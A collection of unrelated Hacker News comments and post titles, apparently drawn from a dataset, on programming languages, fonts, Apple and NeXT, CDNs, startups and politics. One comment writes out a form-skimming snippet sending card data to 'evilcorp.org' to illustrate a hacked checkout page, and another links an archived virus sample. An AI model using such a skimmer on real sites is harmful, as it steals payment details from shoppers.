skysight-inc/HackerNews huggingface dataset:
Hacker version of this: https://github.com/substack/music-for-hire

Some examples:
https://t.co/51cezrD9aZ
https://t.co/bUfCcAnSqX
https://t.co/FyBHSbeAaT
https://t.co/3r9FkxlguM
Automatic parallelization is usually not part of general purpose languages.

Programs written in a general purpose programming language (like Python) are neither automatically parallelizable nor do they run on more than one machine. Of course, most general purpose languages offer facilities for parallelization and/or distribution. Python has the multiprocessing library. In R there is the parallelMap library. But responsibility over how parallelization is used in such a program still resides with the programmer.

This is different in Cuneiform. Everything is automatically parallelized here. Most task applications are relatively large computational pieces of work that run for seconds or minutes (in contrast to, e.g., an addition). In this scenario it makes sense to parallelize wherever possible.

Cuneiform allows you to drive any API.

Another thing that is difficult in most general purpose programming languages is the incorporation of libraries not written in that particular language. E.g., it is non-trivial to use a Python library in Java. Even calling command line applications requires a small wrapper (os.system() in Python). In Cuneiform this is the normal mode of operation. Writing a wrapper around a Bash script is just as hard as defining a function.
cant you avoid that by using a video element, and placing it over the canvas with CSS?
Is it JavaScript crypto you don't trust, or in-browser crypto you don't trust?
Thanks! Legend!
Spooky isn't it? I always wonder how they do it. I'm not on fecebook and all that, and they still find people I had completely forgotten about from completely out of context with sometime even zero electronic communication involved!
Why does code generated music like this always sound crap? Not trying to be a hater but surely it's obvious to anyone that the real version of this song sounds much better. What is the 'something' that makes it sound much better?
Calling this arson or criminal negligence is a bit of a stretch, don't you think?

I just stated a fact here. :\

"She's physicist" ... "She is head of the CDU" ... the end.

Yes I saw what it brought here and after a few posts, I was like "Oh wait, this is an Internet Argument... better don't look at it anymore" but it was already too late.

Well, I'm sorry.
At least on Linux/OSX/Android, you can use encfs to have a encrypted directory tree.
I miss that show, never understood why it actually got cancelled.
If you want something reliable you may want to put some time into installing a minimal Linux or BSD and creating a simple setup.

I have been running Arch for 7 years before switching to NixOS. I found using no desktop environment, just a tiling window manager and only text-mode software (except firefox and a document viewer) incredibly robust. So few moving parts I never had a major hiccup.
Millions of loyal customers and a very recognizable brand.

But yes, why couldn't he build that on Next when he could at Apple is a good question.

I guess the personal computer was a singular opportunity in history to start something from scratch and still compete with the big guys (in hardware)
Sounds like something that would be much better controlled (i.e. "disabled") at the organizational level with a group policy setting.
> UUIDs

But they're not artisanal. We need lovingly hand-crafted integers to go along with our double-tall-half-caff-extra-hot-mocha-lattes, nautical tattoos and neck scarves /s
The new design of the "Learn Enough" series looks very nice. Will Softcover.io also take over this new design for its books?
Yes, I could write a whole book on the details of each person I work closely with. There's always lessons in subtle things they occasionally do/say, that nevertheless have significant impacts. This article is... nice but fluff.

Example: "As a team member, not as CEO. He quietly left his CEO hat by the door, and collaborated with us. He was basically the Product Manager for all of the products I worked on, even though there eventually were other people with that title, who usually weren't allowed in the room :)"

Self-contradictory. He made himself de facto Product Manager — more powerful actually, since other Product Managers "usually weren't allowed in the room". Virtually by definition, the top boss is whatever manager they decide to be.

(Did the author ever analyze the power relations in each meeting? Would the boss even tolerate someone who was too good at it?)
Well, I found several jobs using linkedin, so for me, it works. You have to be a bit harsh on accepting links with people you don't know, but I can't complain...

And there's the odd funny joke too -- once I got a job offer for building a supermarket on the south coast. You know, I'm a 'software architect' after all, got to know how to build supermarkets...

(well I did participate in projects that looked a lot like oil refineries, to be fair ;-))
The Warp 10 Platform – Geo and sensor data
Intel says chips to become slower but more energy efficient
Their orchestration product is Docker Universal Control Plane [1]

[1]: https://www.docker.com/products/docker-universal-control-pla...
Even simple delta+RLE can squeeze increasing unix timestamps up to few bytes. I'm talking about floating point data compression. Even the specialized state of the art algorithms can't guarantee you 2.2 bytes per float in general.
It's a common joke that Apple paid for the privilege of being acquired by Next
I live in Cape Town, South Africa (I am South African), and realized at an early stage, as a gaming enthusiast, that to get into game dev in this country you need to start your own thing. I couldn't afford to do that so just ended up in a tech/dev role in the fintech industry.

There is so much talent and drive in the youth of SA (and a significant gaming market, that is mostly ignored by the likes of EA, we don't get any servers down here :/ ), that has not been jaded yet. I am convinced it wont be long till lots of really awesome game studios start popping up...

I am not sure what I am trying to get at here... Maybe that I want your money to start a game studio.
Elm Reactive Programming presentation by its creator
Well the server holds the checkout page. And the server is hacked. So if attacker just add onblur = getjson(evilcorp.org?cc=value) to the checkout page attacker got the cc details. No?
Sketch and Craft. A match made in real data heaven
For those targeting WinRT, Windows 10 introduced AudioGraph for low latency audio and it is supported for all languages able to use WinRT.

https://msdn.microsoft.com/en-us/library/windows/hardware/mt...
Thank you so much for writing these. I already owe a lot to your Rails Tutorial. Any plans to make these available on the iBookstore?
Microsoft Edge only works on Windows 10. I am on Windows 7 and don't see a need to upgrade to Windows 10 in the near future.
But generally the credit card data is in fact transmitted via your website to stripe.

While not over the network, the user enters his credit card into the form ON YOUR WEBSITE that POSTs it on to stripe. This means your site has full access to the credit card info, choosing whether or not to store is up to you (or in case you get hacked, up to the hacker).
I totally love this! Great job man!
Recently there was a 'Ask HN: Ideas for Passive Income'. To add to the list - design a font.

To me the idea that the highways agencies and other departments choose to use paid for fonts is a bit silly. It is like choosing to pay for air and then insisting that anyone you talk to also pays for air (prosecuting them if they do not). This seems culturally wrong for the U.S. government where things like NASA images or NOAA weather data is free to use.
A Netbook, an iPad Pro and the Surface Walk into a Bar
“Never underestimate the bandwidth of a station wagon full of tapes hurtling down the highway.”

– Andrew Tanenbaum

My own CS professor used to use a similar analogy of a donkey carrying hard drives on his way to New Zealand. I think most us probably had a CS professor that used similar analogies, as it quickly distinguishes between latency and bandwidth.
Good. Highway Gothic is way more legible anyways. Plus it has that classic US feeling to it.

Clearview, on top of being harder to spell out, had lost all the personality Highway Gothic had, imo.
Assange has no liberty of which to be deprived. He committed a crime by breaching his bail conditions in the UK.
Great idea! Will keep that in mind for later.
Reason #53,842 to NOT live in Maryland. "the FREE state" my ass.
I remember there used to be a very interesting e-magazine about game programming in South Africa with Pascal (Turbo, Delphi, Free, Quick, ...).

Currently behind a corporate firewall so cannot search for it.
Cory Doctorow's Keynote at SCALE14x 2016 [video]
In theory. Very much depends on implementation though.
with an initial delay of 8 months.
The thing is from smoking, as i understand it, you have a short boost in your brain efficiency while smoking. But in reality you also have a decrease of the same before you get to your smoke.

I am in the same boat and think it helps me. I am just not sure if it helps because of my addiction or because it really helps a bit.

That said, standing up and thinking something different for a minute is always a good idea. I sometimes do tea breaks as well.
You can get a snapshot of how big game studios organise their art assets by using various modding or decompilation tools to have a look inside their package files.

For example, you can use MPQ Explorer to look inside the package files of World of Warcraft, and see how they organise their tens of thousands of assets.

Generally, as others have said, it's by "where" rather than "what", or sometimes "what"/"where".

Beyond that - Perforce is the usual asset control system for these things. It offers the ability to tag files, which makes searching easier. When you're dealing with a huge pile of art, searching is basically the only way to go, so good tagging is very important.

(Source: I'm not a game designer, but I've worked with the complete art libraries of multiple triple-A games over the last two decades creating Machinima films, either working directly with the studio or on a modding basis. I know far more about the internal file structure of WoW, for example, than is probably healthy.)
I think the influence was a high level of systems thinking. He didn't just design products, he designed what you could do with products, and he designed how and why people would want them - which is a level of insight that eludes anyone who thinks a product is a list of features or (worse) a technology stack.

Having said that, iMovie was good, iPhoto was okay-to-good, but iTunes has always been awful.

I've never understood why it was so badly designed. (And it's getting worse, by all accounts.)
You predefine "tags" for each of the emojis and match these while writing with a semi fuzzy search. Not exactly magic if you know programming.
I don't trust in-browser crypto and I'm skeptical of JavaScript crypto.
Just was granted 5 more invites (Thanks Chris!) if anyone else is late to the party.

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Regarding the "cauldron", it's a damn shame that "hey, light gray text on white looks awesome!" rose to the top.

Perhaps someone gave the cauldron a hard stir and loosened that idea from where it had been burnt onto the bottom where it belongs?
That is not how I expect annotation works. I expect annotation is an (text/image) overlay on top on the webpage, not something hidden on side.
Pretty cool, and I liked the introduction.

One idea would of course be to make the [references] into actual links to the target word, kind of ... odd not to do that in a document delivered as a web page.
Gates did code.
https://www.quora.com/How-good-were-Bill-Gates-and-the-late-...
Hi, I'd love one! Reach me at <email moved to profile>

Edit: Thanks a lot for the invite !
You mean besides having a very long history of covering up hacks and straight up deceiving their customers?
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Viruses were so much better before
https://archive.org/details/malware_ZOHRA.COM
Well Linux is run like that right? Releases very often

Not to mention Facebook itself... We all know FB has fallen flat many times but its never been busted for weeks at a time to my knowledge
Truly some of the most elegant web programming I've seen.
It was one of the main points of the UN working group.
OK, that Angular example triggered me. This is exactly why I couldn't make heads or tails of my Angular caching issue - because all answers on SO were like this.
https://www.flapit.com/en/api.html
Invite sent!
Not using condom is not valid proof in most countries neither, it should be a completely different crime "she asked for condom, I didn't use it, so I'm rapist" makes no sense under no line of logic, maybe it should a different crime called "non-compliance of sex risk accordance" or something, calling it rape is just the same as the silly extremist feminism: https://www.youtube.com/watch?v=BpbeSgMl434
there is blank flap especially for that :)
I've just learned about sonic pi yesterday and today this is first on HN ... wtf who tracks me? :P
An interesting point on developers who refuse to estimate, is how often they are then asked "Why ?".

I'm definitely someone who has either refused to give, or given massively exaggerated estimates in the past, for various reasons, the main being "I don't know".

Think about this for a moment - why wouldn't an (experienced) engineer know how long something will take ?

The most likely answer (and in retrospect the only reason I ever did this) was that the project was far too large / complicated to visualise, and needed to be broken down.

By asking an engineer to break the task down into smaller tasks, until they can 'ballpark' estimate each part, is the best way to solve this problem. Maybe more design or investigation will be required to manage the breakdown.

Instead of writing off 'problem' engineers, try to work with them and find the common ground.
This sounds suspiciously like rubbish to me, at least in the general case. There are too many videos that need distributing in a short time for this to be how the problem is generally solved. Think of a recently uploaded YouTube video, or the coverage of a sports event that's now available on your Catch Up TV provider (iPlayer, NFL Now, etc.).

As a way of seeding the contents of a new CDN node when it's built, I can believe this. As a way of continuously synchronising an existing node, I have more trouble believing it.
Original source: http://savvyparanoia.com/the-fastest-man-made-object-ever-a-...
Apple had a huge dealer network, a global supply chain, a famous brand, and a collection of industry relationships.

NeXT had none of the above. It had some enthusiastic academic customers, but by the end it was trying to sell an OS with very limited success.
>>I'm an American, and TPP has only a marginal impact on US public policy,

That is very short sighted, I'm am an American as well and feel TPP will have long and far reaching impact on Public Policy, While it ratification would only marginaly if at all change any policy currently in place, it will make any reforms to public policy impossible

It would forever ratify the terrible copyright and patent system preventing any reforms to them, that alone I believe should be classified as a major impact on public policy
Open source Swift on the server full-fledged solution
How I figured out web development, starring Webpack, Vue, and Jade
BitTorrent is a CDN.

But it's still quicker to put a box of HDs on a plane from Miami to New Zealand than to wait until the data has propagated.
Julian Assange arbitrarily detained by Sweden and the UK, UN expert panel finds
>> Is it even reasonable to include the aggregate sum of the microcomputers of that era? Not if you want to simulate an H-bomb

I think so. Since no one's going to be simulating an H-bomb on an iPhone anyway. If we are going to argue maybe there are soldiers trapped in a nuclear-proof bunker with a nuclear bomb and before they launch it they want to simulate it, and all they have is an iPhone, we can argue the same case for a microcomputer.
This is a really nice idea. Shame, as the author mentions, that it never materialised.
Similarly, I have rarely met an SEO or social media expert who wasn't full of shit, and I have to deal with these people on a regular basis.

I've read reports with analyses that were blatantly wrong from a statistic or technical perspective, I've had discussions about the value of 'meta keywords' and whatnot where google itself refuted their arguments. And the most 'effective' experts I found were only so because they'd do all sorts of shady things like set up blogs for link juice.

On the other hand, I have met plenty of people with deep knowledge of SEO and social media, but very few of them called themselves primarily experts in this area. Usually they'd be web developers/designers, or small creative studios, or just have some unsexy job description working for a big company.
please send one
Ask HN: What's the main difference between Ori and Infinit file systems
So I just stumbled across a post on Infinit which was here on HN a couple of weeks ago. It's a what they call "Decentralized Software‑Based File Storage Platform". It reminded me a lot to the Ori file system, which came out about a year or so.

Now I was wondering what the main difference between the two is. Does anybody have an experience with both of them, and can write about observed up- and downsides of them?

Infinit: http://infinit.sh
Ori: http://ori.scs.stanford.edu
Prynt (physical photos from smartphone) available
So you're saying the "pretend to upkeep security while in reality maintaining an iron grip on society for your friends in [REDACTED]" market is ripe for disruption? ...
The Australian Startup Scene
Great to see, also very happy that development has really sped up this year.
Yes, please! :)
>People engaged in surveillance...They are bunch of very sad, very pathetic wankers

However the reality is neither "evil" nor "pathetic" - they are us, the people reading this article, they are techies, hacker news readers, hackspace users, friends, geeks. They believe what they are doing is right, or they like being challenged by the mathematics, or they want to make a difference for their country, or they want to be at the leading edge of crypto.

That's the reality - the people engaged in the technical side of surveillance are hacker news readers.
I agree with the first paragraph.

The second paragraph hinges on the rationale that if customer data were available, then CS (Customer Service) agents would have made every effort to contact the ops/engineering team to retrieve those to avoid a social disaster.

Unfortunately, this isn't true in the companies that I worked for, which are big customer-facing MNCs.

First of all, for US consumers, the CS teams most likely are contractors in Philippines, Malaysia, or India, they are trained with scripted responses. For any issue that is beyond the scripts, their standard response will be "Sorry we can't help you because we can't do x", one reason is they have no incentive to escalate the issue and get oneself more work to follow up, other times, it is the management explicitly decided this is to prevent too many cases hit the ops and eventually, the engineering teams. It is not that the management is stupid or nasty, just that the 20:80 rule dictates 80% of the issues usually are raised by 20% of particularly picky customers. For the 20% customers who generate 80% of the revenue, each of them will be assigned an AM (Account Manager) who can get things done much faster and more efficient than the CS team. This group of high-value customers are often given access to VPs to make sure all their issues are heard and handled properly

Second reason is most teams in a big company will not concern anything that doesn't hit them directly. For example the CS team in my ex-company upon getting repeated complaint on an erratic component that didn't get bug fix for months, eventually the CS told the upset customer to fuck off and complain to CEO directly since it was engineering department's fault.

Unbelievable? Maybe, and that company remains one of the largest high-tech companies in the world.
Absolutely all cancers are linked to being alive, which is an easily preventable factor.
The only 3 things you need to know from Zero to One by Peter Thiel
Move all moving parts to config (maybe inside this file even) to avoid jumps between code parts.

Very impressive - not only work itself but also your feeling of rhythm.
There's some interesting evidence of gasoline being a giffen good for some segments of the market: budget constrained will spend less on vehicle maintenance when the price of gas goes up, thus lowering their vehicle's efficiency, and buying more gasoline.
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Does anyone know what features are missing from the dev builds before an actual release of version 3?

It seems to me that Sublime lost a lot of community support due to the very long development time of version 3.
I was going to post this... it's about time until the WHO classifies added sugars in the same carcinogenic category as cigarettes... what is happening in the food industry is simply bizarre. Artificial sweeteners aren't the solution either...
Another thing I find interesting about the speed of light is that the Internet of today wouldn't be possible in the same form as here on possible settlements on the moon and not at all on the Mars
I'd love to get one, too!
Autistic traits, science and the nerd stereotype
I wouldn't call the German president completely powerless. They can veto laws that seem unconstitutional (and this was done multiple times in the past). In case of war they play an important role. Their speeches often have large Impact.

But compared to other countries that's still relatively few powers.
Here's a direct link to the working groups opinion:
http://www.ohchr.org/Documents/Issues/Detention/A.HRC.WGAD.2...
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Thanks for the update - <shift> reload was all it took.
previous discussions

https://news.ycombinator.com/item?id=11033053

https://news.ycombinator.com/item?id=11032787
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This one seems to be static to the listener position and require more hardware. Assuming only headphones are used, something like WAVE (https://www.youtube.com/watch?v=ibM3fz-P0Ac) could be used to simulate reflection, refraction, diffraction and interference effects. If the head is accurately tracked, I could imagine 3d directional sound programming in VR. Enter the Matrix rave ;)
Reminds me of danooct1's work on YouTube. He does videos of DOS (and Win9x) viruses.
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"In the 75 minutes it took for the pigeon to fly 120 kilometers, only 24% of Brumfield’s video was uploaded."

TIL pigeons can average 60MPH for 75 minutes: https://www.google.co.uk/?gws_rd=ssl#q=%28%28120%2F1.6%29%2F...
Howzit bru.

I work at a tech startup in Cape Town (in the data analysis & visualization space.)

In my experience the challenge is that the local market isn't supportive or capable of supporting in some cases, and breaking into the international market with the weak rand is a tough nut to crack when your competitors all have several hundred mil in investment (x 17 for the exchange rate.)

So you sit with a product that fits locally, has some international potential but you can't really get enough sales locally to support an international launch and you kind of end up seeing the end of the runway whilst realizing that you're unlikely to have enough lift to get airborne by the time you reach it.

I'm sure that with enough funding this isn't as much of an embuggerance.

Any investors want to take advantage of the weak Rand? We have good devs and designers here, we speak English and we can get a lot done for about a 20th of what it would cost in the US...